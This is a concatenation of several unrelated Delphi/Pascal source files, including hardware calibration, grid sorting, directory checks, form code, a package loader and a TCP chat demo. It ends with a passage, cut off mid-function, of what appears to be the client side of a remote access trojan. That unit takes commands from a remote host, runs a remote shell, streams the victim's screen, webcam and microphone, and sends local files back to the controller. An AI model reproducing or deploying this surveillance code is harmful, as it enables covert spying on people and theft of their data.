RegisterBoard(tabToString(info.szName,32),pointer(TDD1322interface));
{Calibration de la carte}
fillchar(CalibrationData,sizeof(CalibrationData),0);
CalibrationData.uLength:=sizeof(CalibrationData);
DD132X_GetCalibrationData(hDD1322,CalibrationData,CalibrationError);
{ Si les data sont correctes, on les garde sinon on essaie de calibrer }
if (CalibrationError<>0) or (CalibrationData.dADCGainRatio=0) or (CalibrationData.adDACGainRatio[1]=0) or (CalibrationData.adDACGainRatio[2]=0) then
begin
DD132X_Calibrate(hDD1322,CalibrationData,CalibrationError);
if CalibrationError<>0 then messageCentral('Unable to get DD1322 calibration data ');
end;
end;
Initialization
AffDebug('Initialization DD1322brd',0);
{$IFNDEF WIN64}
Init1322;
{$ENDIF}
finalization
if hDD1322<>0 then DD132X_CloseDevice(hDD1322,error);
end.
|
unit Forms.Main;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, AdvMemo, Vcl.StdCtrls;
const
DEMO_TITLE = 'FNC Core Utils - Shell Operations';
DEMO_BUTTON = 'Execute';
type
TFrmMain = class(TForm)
btnExecute: TButton;
txtLog: TAdvMemo;
procedure btnExecuteClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FrmMain: TFrmMain;
implementation
{$R *.dfm}
uses TMSFNCUtils;
procedure TFrmMain.btnExecuteClick(Sender: TObject);
begin
txtLog.Lines.Add( TTMSFNCUtils.GetDocumentsPath );
txtLog.Lines.Add( TTMSFNCUtils.GetAppPath );
txtLog.Lines.Add( TTMSFNCUtils.GetTempPath );
end;
procedure TFrmMain.FormCreate(Sender: TObject);
begin
btnExecute.Caption := DEMO_BUTTON;
self.Caption := DEMO_TITLE;
txtLog.Lines.Clear;
end;
end.
|
{*******************************************************}
{ }
{ EhLib v3.2 }
{ Register object that sort data in TOilQuery }
{ }
{ Copyright (c) 2002, 2003 by Dmitry V. Bolshakov }
{ }
{*******************************************************}
{*******************************************************}
{ Add this unit to 'uses uCommonForm, ' clause of any unit of your }
{ project to allow TDBGridEh to sort data in }
{ TOilQuery automatically after sorting markers }
{ will be changed. }
{ TSQLDatasetFeaturesEh will try to find line in }
{ TOilQuery.SQL string that begin from 'ORDER BY' phrase }
{ and replace line by 'ORDER BY FieldNo1 [DESC],....' }
{ using SortMarkedColumns. }
{*******************************************************}
unit EhLibBDE;
{$I EhLib.Inc}
interface
uses
{$IFDEF EH_LIB_6} Variants, {$ENDIF}
DbUtilsEh, DBGridEh, DBTables, Db, BDE, SysUtils,uOilQuery,Ora, uOilStoredProc;
implementation
uses Classes;
type
TBDEDataSetCrack = class(TBDEDataSet);
function BDEDataSetDriverName(DataSet: TBDEDataSet): String;
var
hCur: hDBICur;
rslt: DBIResult;
Descs: STMTBaseDesc;
dbDes: DBDesc;
begin
hCur := nil;
try
// Look at DbiQGetBaseDescs in the BDE32.HLP for more information...
Check(DbiQGetBaseDescs(TBDEDataSetCrack(DataSet).STMTHandle, hCur));
rslt := DbiGetNextRecord(hCur, dbiNOLOCK, @Descs, nil);
Check(DbiGetDatabaseDesc(Descs.szDatabase, @dbDes));
if (rslt = DBIERR_NONE) then
// Look at STMTBaseDescs in the BDE32.HLP for more information...
Result := dbDes.szDbType;
finally
if (hCur <> nil) then
check(DbiCloseCursor(hCur));
end;
end;
function DateValueToBDESQLStringProc(DataSet: TDataSet; Value: Variant): String;
begin
Result := DateValueToDataBaseSQLString(BDEDataSetDriverName(TBDEDataSet(DataSet)), Value)
end;
type
TBDEDatasetFeaturesEh = class(TSQLDatasetFeaturesEh)
public
procedure ApplyFilter(Sender: TObject; DataSet: TDataSet; IsReopen: Boolean); override;
end;
{ TBDEDatasetFeaturesEh }
procedure TBDEDatasetFeaturesEh.ApplyFilter(Sender: TObject; DataSet: TDataSet; IsReopen: Boolean);
begin
if TDBGridEh(Sender).STFilter.Local then
TDBGridEh(Sender).DataSource.DataSet.Filter :=
GetExpressionAsFilterString(TDBGridEh(Sender),
GetOneExpressionAsLocalFilterString, nil)
else
ApplyFilterSQLBasedDataSet(TDBGridEh(Sender), DateValueToBDESQLStringProc, IsReopen, 'SQL');
end;
initialization
RegisterDatasetFeaturesEh(TBDEDatasetFeaturesEh, TOilQuery);
RegisterDatasetFeaturesEh(TBDEDatasetFeaturesEh, TTable);
end.
|
(*
Category: SWAG Title: DIRECTORY HANDLING ROUTINES
Original name: 0018.PAS
Description: Check for Directory
Author: MARTIN RICHARDSON
Date: 09-26-93 09:10
*)
uses dos;
{*****************************************************************************
* Function ...... IsDir()
* Purpose ....... To check for the existance of a directory
* Parameters .... Dir Dir to check for
* Returns ....... TRUE if Dir exists
* Notes ......... None
* Author ........ Martin Richardson
* Date .......... May 13, 1992
*****************************************************************************}
FUNCTION IsDir( Dir: STRING ) : BOOLEAN;
VAR
fHandle: FILE;
wAttr: WORD;
BEGIN
WHILE Dir[LENGTH(Dir)] = '\' DO DEC( Dir[0] ); { Remove trailing "\" }
Dir := Dir + '\.';
ASSIGN( fHandle, Dir );
GETFATTR( fHandle, wAttr );
IsDir := ( (wAttr AND DIRECTORY) = DIRECTORY );
END;
BEGIN
if IsDir('..\dirs') then
WriteLn('"dirs" found')
else
WriteLn('"dirs" not found');
END.
|
unit EditMacro;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ipEdit, ipControls, ipButtons;
type
TfmEditMacro = class(TForm)
Label1: TLabel;
e1: TipEditTS;
Label2: TLabel;
e2: TipEditTS;
Label3: TLabel;
e3: TipEditTS;
Label4: TLabel;
e4: TipEditTS;
Label5: TLabel;
e5: TipEditTS;
Label6: TLabel;
e6: TipEditTS;
Label7: TLabel;
e7: TipEditTS;
Label8: TLabel;
e8: TipEditTS;
Label9: TLabel;
e9: TipEditTS;
Label10: TLabel;
e0: TipEditTS;
bOK: TipButton;
bCancel: TipButton;
bHelp: TipButton;
private
{ Private declarations }
public
class function ShowInfo: boolean;
end;
var
fmEditMacro: TfmEditMacro;
implementation
{$R *.dfm}
uses
Main;
{ TfmMacro }
class function TfmEditMacro.ShowInfo: boolean;
begin
with TfmEditMacro.Create(Application) do try
e0.Text:=fmMain.Macro[0];
e1.Text:=fmMain.Macro[1];
e2.Text:=fmMain.Macro[2];
e3.Text:=fmMain.Macro[3];
e4.Text:=fmMain.Macro[4];
e5.Text:=fmMain.Macro[5];
e6.Text:=fmMain.Macro[6];
e7.Text:=fmMain.Macro[7];
e8.Text:=fmMain.Macro[8];
e9.Text:=fmMain.Macro[9];
Result:=ShowModal=mrOK;
if Result then begin
fmMain.Macro[0]:=e0.Text;
fmMain.Macro[1]:=e1.Text;
fmMain.Macro[2]:=e2.Text;
fmMain.Macro[3]:=e3.Text;
fmMain.Macro[4]:=e4.Text;
fmMain.Macro[5]:=e5.Text;
fmMain.Macro[6]:=e6.Text;
fmMain.Macro[7]:=e7.Text;
fmMain.Macro[8]:=e8.Text;
fmMain.Macro[9]:=e9.Text;
end;
finally
Free;
end;
end;
end.
|
{*******************************************************************************
* uCommonSp *
* *
* Общий интерфейс загрузки и использования справочников *
* Copyright © 2004, Олег Г. Волков *
*******************************************************************************}
{-$Id: uCommonSp.pas,v 1.10 2007/07/24 12:35:19 oleg Exp $}
unit uCommonSp;
interface
uses RxMemDs, Windows, Dialogs, Forms, Controls, SysUtils, DB;
type
{ Основной класс справочника }
TSprav = class
private
FInput: TRxMemoryData;
FOutput: TRxMemoryData;
public
constructor Create;
destructor Destroy;override;
// показать справочник
procedure Show;virtual;
// возвратить фрейм
function GetFrame: TFrame;virtual;
// можно ли закрыть справочник
function CanClose: Boolean;virtual;
// получить информацию по объекту(ам)
procedure GetInfo;virtual;
// проверить существование объекта
function Exists: Boolean;virtual;
// заполнить тип отображения
procedure SetShowStyle(FormStyle: TFormStyle);
protected
// создает поля из определений полей и открывает входные/выходные параметры
// желательно вызывать в классах-наследниках в конце конструктора
procedure PrepareMemoryDatasets;
published
// входные параметры
property Input: TRxMemoryData read FInput write FInput;
// выходные параметры
property Output: TRxMemoryData read FOutput write FOutput;
end;
// такую функцию нужно реализовать в каждом пакете, реализующем справочник
CreateSpravProc = function: TSprav;stdcall;
resourcestring
LoadSpravPackageError = 'Неможливо завантажити пакет';
LoadSpravFunctionNotFound = 'Неможливо знайти функцію CreateSprav!';
LoadSpravLoading = 'Завантажується пакет: ';
// создать объект справочника из соответствующего пакета
// '.bpl' можно не добавлять
function GetSprav(Package: String): TSprav; stdcall;
exports GetSprav;
implementation
uses NagScreenUnit;
function GetSprav(Package: String): TSprav; stdcall;
var
HandlePack: HModule;
fun: CreateSpravProc;
NagScreen: TNagScreen;
OldCursor: TCursor;
begin
Result := nil;
if Pos('.bpl', Package) = 0 then Package := Package + '.bpl';
HandlePack:=GetModuleHandle(PChar(Package));
if HandlePack<32 then
begin
OldCursor := Screen.Cursor;
Screen.Cursor := crHourGlass;
NagScreen := TNagScreen.Create(Application.MainForm);
NagScreen.Show;
try
NagScreen.SetStatusText(LoadSpravLoading + Package);
HandlePack := LoadPackage(Package);
Screen.Cursor := OldCursor;
NagScreen.Free;
except
Screen.Cursor := OldCursor;
NagScreen.Free;
end;
end;
if HandlePack > 0 then
begin
@fun := GetProcAddress(HandlePack,PChar('CreateSprav'));
if @fun <> nil then Result := fun
else
MessageDlg(LoadSpravFunctionNotFound + ' ' + Package, mtError, [mbOk], 0);
end
else
begin
MessageDlg(LoadSpravPackageError + ' ' + Package, mtError, [mbOk], 0);
Exit;
end;
end;
procedure TSprav.SetShowStyle(FormStyle: TFormStyle);
begin
if FormStyle = fsMDIChild then FInput['ShowStyle'] := 1
else FInput['ShowStyle'] := 0;
end;
constructor TSprav.Create;
begin
inherited Create;
FInput := TRxMemoryData.Create(nil);
FOutput := TRxMemoryData.Create(nil);
// создать стандартные определения полей
// тип показа: модальное(0), MDIChild (1)
FInput.FieldDefs.Add('ShowStyle', ftInteger);
// дескриптор базы данных
// преобразовывать TISC_DB_HANDLE в Integer и обратно!
FInput.FieldDefs.Add('DBHandle', ftInteger);
// тип выбора: нет (0), обычный (1), множественный (2)
FInput.FieldDefs.Add('Select', ftInteger);
// идентификатор пользователя
FInput.FieldDefs.Add('Id_User', ftInteger);
end;
destructor TSprav.Destroy;
begin
FInput.Free;
FOutput.Free;
inherited Destroy;
end;
procedure TSprav.PrepareMemoryDatasets;
var
i: Integer;
begin
// создать поля
for i:=0 to Input.FieldDefs.Count-1 do
Input.FieldDefs[i].CreateField(Input);
for i:=0 to Output.FieldDefs.Count-1 do
Output.FieldDefs[i].CreateField(Output);
// открыть MemoryDatasets
Input.Open;
Output.Open;
end;
procedure TSprav.Show;
begin
end;
function TSprav.GetFrame: TFrame;
begin
Result := nil;
end;
function TSprav.CanClose: Boolean;
begin
Result := True;
end;
procedure TSprav.GetInfo;
begin
end;
function TSprav.Exists: Boolean;
begin
Result := True;
end;
end.
|
program HowToCreateTCPProgram;
uses
SwinGame, SysUtils;
const
HOST_PORT = 2000;
function SelectPeerType() : Boolean;
var
lInput : String = '';
begin
Write('Are You Hosting? [y/n]: ');
while (lInput <> 'y') and (lInput <> 'n') do
begin
ReadLn(lInput);
if (lInput = 'y') then
begin
CreateTCPHost(HOST_PORT);
result := True;
WriteLn('I am now the host');
end else if (lInput = 'n') then
begin
result := False;
WriteLn('I am now the client');
end;
end;
end;
function WaitForConnections() : Connection;
begin
WriteLn('Waiting for Connections....');
result := nil;
while (result = nil) do
begin
AcceptTCPConnection();
result := FetchConnection();
end;
WriteLn('Connection Established.');
end;
function WaitToConnectToHost() : Connection;
begin
WriteLn('Connecting to Host....');
result := nil;
while (result = nil) do
result := CreateTCPConnection('127.0.0.1', HOST_PORT);
WriteLn('Connected to Host');
end;
procedure HandleMessages(const aPeer : Connection; aIsHost : Boolean);
var
lMessage : String = '';
i : Integer;
const
AUTO_MESSAGE_COUNT = 10;
SEND_DELAY = 1500;
begin
for i := 0 to AUTO_MESSAGE_COUNT do
begin
if (aIsHost) then
SendTCPMessage('Hello. This Message Number is from the Host. The client should receive it.', aPeer)
else
SendTCPMessage('Hello. This Message Number is from the Client. The host should receive it.', aPeer);
Delay(SEND_DELAY);
if TCPMessageReceived() then
WriteLn('Received Message: ', ReadMessage(aPeer));
end;
end;
procedure Main();
var
lIsHost : Boolean = False;
lPeer : Connection = nil;
begin
lIsHost := SelectPeerType();
if (lIsHost) then
lPeer := WaitForConnections()
else
lPeer := WaitToConnectToHost();
HandleMessages(lPeer, lIsHost);
ReleaseAllResources();
end;
begin
main();
end. |
unit UnitNewConnection;
interface
uses
IdIOHandler,
Classes,
GlobalVars;
Type
TNewStream = Class(TMemoryStream);
procedure NewConnection(Host: ansistring;
Port: integer;
NewConnectionCommand: widestring;
Finalizar: boolean;
Extras: WideString = '');
procedure NewDownload(Host: ansistring; Port: integer; FileName: widestring; IsDownloadFolder: boolean = False);
procedure NewResumeDownload(Host: ansistring; Port: integer; FileName: widestring; FilePosition: int64);
procedure EnviarImagensMouse(Host: ansistring; Port: integer);
implementation
uses
Windows,
StrUtils,
UnitConfigs,
UnitConstantes,
UnitFuncoesDiversas,
SysUtils,
ShellApi,
UnitConexao,
IdContext,
IdTCPConnection,
idGlobal,
IdException,
IdComponent,
UnitShell,
IdStream,
untCapFuncs,
ACMIn,
mmsystem,
uCamHelper,
vcl.Graphics,
UnitObjeto,
ACMConvertor,
GDIPAPI,
GDIPOBJ,
GDIPUTIL,
ClassesMOD,
ActiveX,
WebcamAPI,
UnitMouseLogger,
UnitCompressString;
type
TClientSocket = class(TObject)
IdTCPClient1: TIdTCPClientNew;
Command: widestring;
Extras: WideString;
FinalizarConexao: boolean;
FecharAudio: boolean;
FecharCam: boolean;
procedure ExecutarComando(Recebido: widestring);
procedure OnConnected(Sender: TObject);
end;
type
TWebcamThread = class(TThread)
private
IdTCPClient1: TIdTCPClientNew;
protected
procedure Execute; override;
public
constructor Create(xIdTCPClient1: TIdTCPClientNew);
end;
function IntToStr(i: Int64): WideString;
begin
Str(i, Result);
end;
function StrToInt(S: WideString): Int64;
var
E: integer;
begin
Val(S, Result, E);
end;
function GetImageFromBMP(RealBM: TBitmap; Quality: integer): widestring;
type
TNewMemoryStream = TMemoryStream;
var
ImageBMP: TGPBitmap;
Pallete: HPALETTE;
encoderClsid: TGUID;
encoderParameters: TEncoderParameters;
transformation: TEncoderValue;
xIs: IStream;
BMPStream: TNewMemoryStream;
begin
ImageBMP := TGPBitmap.Create(RealBM.Handle, Pallete);
GetEncoderClsid('image/jpeg', encoderClsid);
encoderParameters.Count := 1;
encoderParameters.Parameter[0].Guid := EncoderQuality;
encoderParameters.Parameter[0].Type_ := EncoderParameterValueTypeLong;
encoderParameters.Parameter[0].NumberOfValues := 1;
encoderParameters.Parameter[0].Value := @quality;
BMPStream := TNewMemoryStream.Create;
xIS := TStreamAdapter.Create(BMPStream, soReference);
ImageBMP.Save(xIS, encoderClsid, @encoderParameters);
ImageBMP.Free;
BMPStream.Position := 0;
result := streamtostr(BMPStream);
BMPStream.Free;
end;
procedure IniciarWebCam(xIdTCPClient1: TIdTCPClientNew);
var
BMP: TBitmap;
TempStr: widestring;
begin
Sleep(1000);
while CamHelper.Started do
begin
try
if xIdTCPClient1.Connected = false then break else
begin
TempStr := '';
BMP := TBitmap.Create;
CamHelper.GetImage(BMP);
TempStr := GetImageFromBMP(BMP, WebcamQuality);
//BMP.SaveToFile('Webcam.bmp');
BMP.Free;
if TempStr <> '' then
try
xIdTCPClient1.EnviarString(WEBCAM + '|' + WEBCAMSTREAM + '|' + TempStr);
except
break;
end;
ProcessMessages;
sleep(10);
if WebcamInterval > 0 then sleep(WebcamInterval * 1000);
end;
except
break;
end;
end;
CamHelper.StopCam;
if xIdTCPClient1.Connected then
xIdTCPClient1.EnviarString(WEBCAM + '|' + WEBCAMSTOP + '|');
end;
type
TEnviarImagens = class(TThread)
private
IdTCPClient1: TIdTCPClientNew;
protected
procedure Execute; override;
public
constructor Create(xIdTCPClient1: TIdTCPClientNew);
end;
constructor TEnviarImagens.Create(xIdTCPClient1: TIdTCPClientNew);
begin
IdTCPClient1 := xIdTCPClient1;
inherited Create(True);
end;
procedure TEnviarImagens.Execute;
var
ReplyStream: Tmemorystream;
BMP: TBitmap;
TempStr: WideString;
begin
ReplyStream := Tmemorystream.Create;
while (IdTCPClient1.Connected = true) do
begin
if GetWebcamImage(ReplyStream) = True then
begin
ReplyStream.Position := 0;
BMP := TBitmap.Create;
BMP.LoadFromStream(ReplyStream);
TempStr := GetImageFromBMP(BMP, WebcamQuality);
//BMP.SaveToFile('Webcam.bmp');
BMP.Free;
if TempStr <> '' then
IdTCPClient1.EnviarString(WEBCAM + '|' + WEBCAMSTREAM + '|' + TempStr);
ProcessMessages;
sleep(10);
if WebcamInterval > 0 then sleep(WebcamInterval * 1000);
end;
end;
ReplyStream.Free;
DestroyCapture;
end;
procedure IniciarWebCam2(xIdTCPClient1: TIdTCPClientNew);
var
EnviarImagens: TEnviarImagens;
Msg: TMsg;
begin
if InitCapture(SelectedWebcam) = true then
begin
EnviarImagens := TEnviarImagens.Create(xIdTCPClient1);
EnviarImagens.Resume;
while Assigned(MyWebcamObject) and
(GetMessage(Msg, MyWebcamObject.Handle, 0, 0)) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end;
if xIdTCPClient1.Connected then
xIdTCPClient1.EnviarString(WEBCAM + '|' + WEBCAMSTOP + '|');
end;
constructor TWebcamThread.Create(xIdTCPClient1: TIdTCPClientNew);
begin
IdTCPClient1 := xIdTCPClient1;
inherited Create(True);
end;
procedure TWebcamThread.Execute;
begin
if WebcamType = 0 then IniciarWebCam(IdTCPClient1) else IniciarWebCam2(IdTCPClient1);
end;
type
TAudioThread = class(TThread)
private
IdTCPClient1: TIdTCPClientNew;
Settings: widestring;
protected
procedure Execute; override;
public
constructor Create(xIdTCPClient1: TIdTCPClientNew; xSettings: widestring);
end;
type
TMain = class
IdTCPClient1: TIdTCPClientNew;
procedure BufferFull(Sender: TObject; Data: Pointer; Size: Integer);
end;
threadvar
ACMC: TACMConvertor;
ACMI: TACMIn;
Main: TMain;
procedure TMain.BufferFull(Sender: TObject; Data: Pointer; Size: Integer);
var
NewSize: Integer;
AudioBuffer: widestring;
begin
Move(Data^, ACMC.BufferIn^, Size);
NewSize := ACMC.Convert;
SetLength(AudioBuffer, NewSize div 2);
Move(ACMC.BufferOut^, AudioBuffer[1], NewSize);
IdTCPClient1.EnviarString(AUDIO + '|' + AUDIOSTREAM + '|' + AudioBuffer);
end;
procedure IniciarAudio(IdTCPClient1: TIdTCPClientNew; xSettings: widestring);
var
Recebido: widestring;
Main: TMain;
Format: TWaveFormatEx;
begin
Recebido := xSettings;
Move(Recebido[1], Format, SizeOf(TWaveFormatEx));
Main := TMain.Create;
Main.IdTCPClient1 := IdTCPClient1;
ACMC := TACMConvertor.Create;
ACMI := TACMIn.Create;
ACMI.OnBufferFull := Main.BufferFull;
ACMI.BufferSize := ACMC.InputBufferSize;
ACMC.FormatIn.Format.nChannels := Format.nChannels;
ACMC.FormatIn.Format.nSamplesPerSec := Format.nSamplesPerSec;
ACMC.FormatIn.Format.nAvgBytesPerSec := Format.nAvgBytesPerSec;
ACMC.FormatIn.Format.nBlockAlign := Format.nBlockAlign;
ACMC.FormatIn.Format.wBitsPerSample := Format.wBitsPerSample;
ACMC.InputBufferSize := ACMC.FormatIn.Format.nAvgBytesPerSec;
ACMI.BufferSize := ACMC.InputBufferSize;
ACMC.Active := True;
ACMI.Open(ACMC.FormatIn);
//MessageBox(0, pchar(Inttostr(Format.wFormatTag) + #13#10 +
// Inttostr(Format.nChannels) + #13#10 +
// Inttostr(Format.nSamplesPerSec) + #13#10 +
// Inttostr(Format.nAvgBytesPerSec) + #13#10 +
// Inttostr(Format.nBlockAlign) + #13#10 +
// Inttostr(Format.wBitsPerSample) + #13#10 +
// Inttostr(Format.cbSize)), '', 0);
while (IdTCPClient1.Connected) and (GlobalVars.MainIdTCPClient <> nil) and (GlobalVars.MainIdTCPClient.Connected) do ProcessMessages;
if IdTCPClient1.Connected then try IdTCPClient1.DisConnect; except end;
if (GlobalVars.MainIdTCPClient <> nil) and (GlobalVars.MainIdTCPClient.Connected) then try IdTCPClient1.DisConnect; except end;
end;
constructor TAudioThread.Create(xIdTCPClient1: TIdTCPClientNew; xSettings: widestring);
begin
IdTCPClient1 := xIdTCPClient1;
Settings := xSettings;
inherited Create(True);
end;
procedure TAudioThread.Execute;
begin
IniciarAudio(IdTCPClient1, Settings);
end;
procedure TClientSocket.ExecutarComando(Recebido: WideString);
var
FileName: widestring;
FileSize: int64;
Resultado: boolean;
AStream: TFileStream;
NewShell: TNewShell;
TempStr: widestring;
WebcamThread: TWebcamThread;
AudioThread: TAudioThread;
MyPoint : TPoint;
begin
if copy(Recebido, 1, posex('|', Recebido) - 1) = SHELLSTART then
begin
ComandoShell := '';
NewShell := TNewShell.Create(IdTCPClient1);
NewShell.Resume;
end else
if copy(Recebido, 1, posex('|', Recebido) - 1) = SHELLCOMMAND then
begin
delete(Recebido, 1, posex('|', Recebido));
ComandoShell := Recebido;
end else
if copy(Recebido, 1, posex('|', Recebido) - 1) = SHELLDESATIVAR then
begin
ComandoShell := 'exit' + #13#10;
end else
if copy(Recebido, 1, posex('|', Recebido) - 1) = STARTDESKTOP then
begin
delete(Recebido, 1, posex('|', Recebido));
DesktopQuality := StrToInt(copy(Recebido, 1, posex('|', Recebido) - 1));
delete(Recebido, 1, posex('|', Recebido));
DesktopX := StrToInt(copy(Recebido, 1, posex('|', Recebido) - 1));
delete(Recebido, 1, posex('|', Recebido));
DesktopY := StrToInt(copy(Recebido, 1, posex('|', Recebido) - 1));
delete(Recebido, 1, posex('|', Recebido));
DesktopInterval := StrToInt(copy(Recebido, 1, posex('|', Recebido) - 1));
while IdTCPClient1.Connected = true do
begin
if DesktopInterval <> 0 then sleep(DesktopInterval * 1000);
TempStr := GetDesktopImage(DesktopQuality, DesktopX, DesktopY);
IdTCPClient1.EnviarString(DESKTOPNEW + '|' + DESKTOPSTREAM + '|' + TempStr);
sleep(10);
processmessages;
end;
end else
if copy(Recebido, 1, posex('|', Recebido) - 1) = WEBCAMSTART then
begin
delete(Recebido, 1, posex('|', Recebido));
WebcamQuality := StrToInt(copy(Recebido, 1, posex('|', Recebido) - 1));
delete(Recebido, 1, posex('|', Recebido));
WebcamInterval := StrToInt(copy(Recebido, 1, posex('|', Recebido) - 1));
WebcamThread := TWebcamThread.Create(IdTCPClient1);
WebcamThread.Resume;
if IdTCPClient1.Connected then sleep(100);
FecharCam := True;
end else
if copy(Recebido, 1, posex('|', Recebido) - 1) = AUDIOSETTINGS then
begin
delete(Recebido, 1, posex('|', Recebido));
AudioThread := TAudioThread.Create(IdTCPClient1, Recebido);
AudioThread.Resume;
while IdTCPClient1.Connected do sleep(100);
FecharAudio := True;
end else
end;
procedure TClientSocket.OnConnected(Sender: TObject);
begin
IdTCPClient1.IOHandler.WriteLn(MYVERSION + '|' + ConfiguracoesServidor.Versao);
if Command <> '' then IdTCPClient1.EnviarString(Command);
if Extras <> '' then IdTCPClient1.EnviarString(Extras);
if FinalizarConexao = True then
begin
sleep(10000);
try
IdTCPClient1.Disconnect;
except
end;
end;
end;
procedure NewConnection(Host: ansistring;
Port: integer;
NewConnectionCommand: widestring;
Finalizar: boolean;
Extras: WideString = '');
var
ClientSocket: TClientSocket;
TempStr: WideString;
begin
ClientSocket := TClientSocket.Create;
ClientSocket.Command := NewConnectionCommand;
ClientSocket.Extras := Extras;
ClientSocket.FinalizarConexao := Finalizar;
ClientSocket.FecharAudio := False;
ClientSocket.FecharCam := False;
ClientSocket.IdTCPClient1 := TIdTCPClientNew.Create(nil, ConfiguracoesServidor.Password);
ClientSocket.IdTCPClient1.OnConnected := ClientSocket.OnConnected;
try
ClientSocket.IdTCPClient1.Host := Host;
ClientSocket.IdTCPClient1.Port := Port;
try
try
ClientSocket.IdTCPClient1.Connect;
while ClientSocket.IdTCPClient1.Connected do
begin
TempStr := ClientSocket.IdTCPClient1.ReceberString;
if TempStr <> '' then ClientSocket.ExecutarComando(TempStr);
sleep(100);
ProcessMessages;
end;
finally
sleep(10000);
try
ClientSocket.IdTCPClient1.Disconnect;
except
end;
end;
except // Failed during transfer
end;
except // Couldn't even connect
end;
ClientSocket.IdTCPClient1.OnConnected := nil;
sleep(200);
if ClientSocket.FecharAudio = True then
begin
ACMC.Active := False;
ACMI.Close;
ACMI.Free;
ACMC.Free;
Main.Free;
Main := nil;
end;
if ClientSocket.FecharCam = True then
begin
if CamHelper <> nil then if CamHelper.Started = True then CamHelper.StopCam;
end;
FreeAndNil(ClientSocket.IdTCPClient1);
FreeAndNil(ClientSocket);
end;
type
TDownloadSocket = class(TObject)
IdTCPClient1: TIdTCPClientNew;
FileName: widestring;
FinalizarConexao: boolean;
IsDownloadFolder: boolean;
procedure OnConnected(Sender: TObject);
end;
procedure TDownloadSocket.OnConnected(Sender: TObject);
var
AStream: TFileStream;
FileSize: int64;
ToSend: widestring;
begin
IdTCPClient1.IOHandler.WriteLn(MYVERSION + '|' + ConfiguracoesServidor.Versao);
IdTCPClient1.IOHandler.LargeStream := True;
try
AStream := TFileStream.Create(FileName, fmOpenRead + fmShareDenyNone);
FileSize := AStream.Size;
if IsDownloadFolder then
ToSend := unitconstantes.NEWCONNECTION + '|' +
ConnectionID +
DelimitadorComandos +
FILEMANAGERNEW + '|' +
FMDOWNLOADFOLDER + '|' +
FileName + DelimitadorComandos +
IntToStr(FileSize) else
ToSend := unitconstantes.NEWCONNECTION + '|' +
ConnectionID +
DelimitadorComandos +
FILEMANAGERNEW + '|' +
FMDOWNLOAD + '|' +
FileName + DelimitadorComandos +
IntToStr(FileSize);
AStream.Position := 0;
IdTCPClient1.EnviarString(ToSend);
IdTCPClient1.IOHandler.Write(AStream,
FileSize,
False);
finally
FreeAndNil(AStream);
sleep(10000);
FinalizarConexao := true;
end;
FinalizarConexao := true;
end;
procedure NewDownload(Host: ansistring; Port: integer; FileName: widestring; IsDownloadFolder: boolean = False);
var
ClientSocket: TDownloadSocket;
TempStr: WideString;
begin
ClientSocket := TDownloadSocket.Create;
ClientSocket.FileName:= FileName;
ClientSocket.FinalizarConexao := false;
ClientSocket.IsDownloadFolder := IsDownloadFolder;
ClientSocket.IdTCPClient1 := TIdTCPClientNew.Create(nil, ConfiguracoesServidor.Password);
ClientSocket.IdTCPClient1.OnConnected := ClientSocket.OnConnected;
try
ClientSocket.IdTCPClient1.Host := Host;
ClientSocket.IdTCPClient1.Port := Port;
try
try
ClientSocket.IdTCPClient1.Connect;
while (ClientSocket.IdTCPClient1.Connected) and (ClientSocket.FinalizarConexao = false) do
begin
TempStr := ClientSocket.IdTCPClient1.ReceberString;
//if TempStr <> '' then ClientSocket.ExecutarComando(TempStr); //somente enviar, então não executa comando recebido...
sleep(10);
end;
finally
ClientSocket.IdTCPClient1.Disconnect;
end;
except // Failed during transfer
end;
except // Couldn't even connect
end;
ClientSocket.IdTCPClient1.OnConnected := nil;
FreeAndNil(ClientSocket.IdTCPClient1);
FreeAndNil(ClientSocket);
end;
type
TResumeDownloadSocket = class(TObject)
IdTCPClient1: TIdTCPClientNew;
FileName: widestring;
FilePosition: int64;
FinalizarConexao: boolean;
procedure OnConnected(Sender: TObject);
end;
procedure TResumeDownloadSocket.OnConnected(Sender: TObject);
var
AStream: TFileStream;
FileSize: int64;
ToSend: widestring;
begin
IdTCPClient1.IOHandler.WriteLn(MYVERSION + '|' + ConfiguracoesServidor.Versao);
IdTCPClient1.IOHandler.LargeStream := True;
try
AStream := TFileStream.Create(FileName, fmOpenRead + fmShareDenyNone);
FileSize := AStream.Size;
ToSend := unitconstantes.NEWCONNECTION + '|' +
ConnectionID +
DelimitadorComandos +
FILEMANAGERNEW + '|' +
FMRESUMEDOWNLOAD + '|' +
FileName + DelimitadorComandos +
IntToStr(FileSize) + '|' + IntToStr(FilePosition);
AStream.Seek(FilePosition, 0);
IdTCPClient1.EnviarString(ToSend);
IdTCPClient1.IOHandler.Write(AStream,
FileSize - FilePosition,
False);
finally
FreeAndNil(AStream);
sleep(10000);
FinalizarConexao := true;
end;
FinalizarConexao := true;
end;
procedure NewResumeDownload(Host: ansistring; Port: integer; FileName: widestring; FilePosition: int64);
var
ClientSocket: TResumeDownloadSocket;
TempStr: WideString;
begin
ClientSocket := TResumeDownloadSocket.Create;
ClientSocket.FileName:= FileName;
ClientSocket.FinalizarConexao := false;
ClientSocket.FilePosition := FilePosition;
ClientSocket.IdTCPClient1 := TIdTCPClientNew.Create(nil, ConfiguracoesServidor.Password);
ClientSocket.IdTCPClient1.OnConnected := ClientSocket.OnConnected;
try
ClientSocket.IdTCPClient1.Host := Host;
ClientSocket.IdTCPClient1.Port := Port;
try
try
ClientSocket.IdTCPClient1.Connect;
while (ClientSocket.IdTCPClient1.Connected) and (ClientSocket.FinalizarConexao = false) do
begin
TempStr := ClientSocket.IdTCPClient1.ReceberString;
//if TempStr <> '' then ClientSocket.ExecutarComando(TempStr); //somente enviar, então não executa comando recebido...
sleep(10);
end;
finally
ClientSocket.IdTCPClient1.Disconnect;
end;
except // Failed during transfer
end;
except // Couldn't even connect
end;
ClientSocket.IdTCPClient1.OnConnected := nil;
FreeAndNil(ClientSocket.IdTCPClient1);
FreeAndNil(ClientSocket);
end;
function ListarArquivos(Dir, Extensao: WideString; var Qtde: integer): WideString;
var
H: THandle;
Find: TWin32FindDataW;
TempStr: WideString;
begin
result := '';
Qtde := 0;
if dir = '' then exit;
